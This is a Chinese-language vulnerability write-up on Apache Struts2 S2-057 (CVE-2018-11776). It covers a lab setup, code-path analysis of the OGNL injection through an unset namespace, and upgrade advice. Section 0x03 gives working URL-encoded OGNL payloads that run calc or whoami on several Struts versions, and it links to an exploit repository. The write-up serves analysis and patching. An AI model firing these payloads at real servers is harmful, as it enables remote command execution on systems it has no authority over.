
微信公众号
0x00:写在前面
2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,URL标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行,经过笔者自建环境成功复现漏洞且可以执行命令回显。
影响版本:
0x01:漏洞验证
https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip
下载成功打开,看到目录,apps里的是打包好的演示War包,直接放到Tomcat里运行即可,src里是Struts2演示代码。
Ecplise导入src/apps/showcase这个mavean(需要配置国内镜像,不然默认的速度太慢会报错)
导入成功以后修改src/main/resources/struts-actionchaining.xml为
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
右击工程名运行。浏览器进行访问
http://localhost:8080/struts2-showcase/$%7B(111+111)%7D/actionChain1.action
数据包分析会发现进行302跳转到如下页面。
那么此时OGNL表达书注入则成功发生,${(111+111)}的111+111=222成功带入函数进行了运算。结果返回至url。
在低版本的Struts 2.3 to 2.3.34中可以进行命令执行
2.5.16版本可以在Windows下弹出计算机。
0x02:漏洞分析
OGNL:是应用于Java的一个表达式语言,被集成在Struts2框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。
S2-057有三种攻击向量
Redirect action
Action chaining
Postback result
我们这里以Redirect action进行分析
在src/main/resources/struts-actionchaining.xml中注意<result>
标签中<type>
为redirectAction
:
<result type="redirectAction"> <param name = "actionName">register2</param> </result>
redirectAction
对应的处理类为
org.apache.struts2.result.ServletActionRedirectResult
根据对于struts-actionchaining.xml文件的修改,所有的到actionChain1.action的请求都会被导向register2,并且执行链会到ServletActionRedirectResult.execute方法中,具体文件地址:org/apache/struts2/result/ServletActionRedirectResult。
由于配置xml时没有指定namespace,所以此时为空,则会执行
invocation.getProxy().getNamespace();通过namespace污染了
tmpLocation,从而导致了预期POC的执行,继续跟踪namespace到StrutsResultSupport.execute方法中。
conditionalParse方法如下,使用Ognl表达式来计算数据值。
在这个方法中会使用到TextParseUtil.translateVariables方法,继续跟踪,调用栈进入OgnlTextParser中的evaluate方法,首先会判断传入的表达式是否合法,比如是否能找到${}或者%{}对,接着调用evaluator.evaluate求值。
跟进第一步的getUriFromActionMapping
函数
public String getUriFromActionMapping(ActionMapping mapping) {
StringBuilder uri = new StringBuilder();
handleNamespace(mapping, uri);
handleName(mapping, uri);
handleDynamicMethod(mapping, uri);
handleExtension(mapping, uri);
handleParams(mapping, uri);
return uri.toString();
}
当函数返回,tmpLocation
为/${(111+111)}/register2.action
,然后通过setLocation(tmpLocation)
使得location变量值
为/${(111+111)}/register2.action
,从而最终造成OGNL注入。
0x03:POC以及EXP
2.3.20版本弹出计算机
/%24%7B%23memberAccess%3D\@ognl.OgnlContext\@DEFAULTMEMBER_ACCESS%2C\@java.lang.Runtime\@getRuntime%28%29.exec%28%27calc.exe%27%29%7D/index.action
2.3.34版本命令执行
/%24%7B%28%23dm%3D\@ognl.OgnlContext\@DEFAULTMEMBERACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28\@com.opensymphony.xwork2.ognl.OgnlUtil\@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28\@org.apache.commons.io.IOUtils\@toString%28\@java.lang.Runtime\@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
2.5.16版本弹出计算机
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
EXP地址:
https://github.com/Ivan1ee
0x04:修复建议
官方建议升级Struts版本到2.3.35版本或者2.5.17版本。
当函数返回,
tmpLocation
为/${(111+111)}/register2.action
,然后通过setLocation(tmpLocation)
使得location变量值为/${(111+111)}/register2.action
,从而最终造成OGNL注入。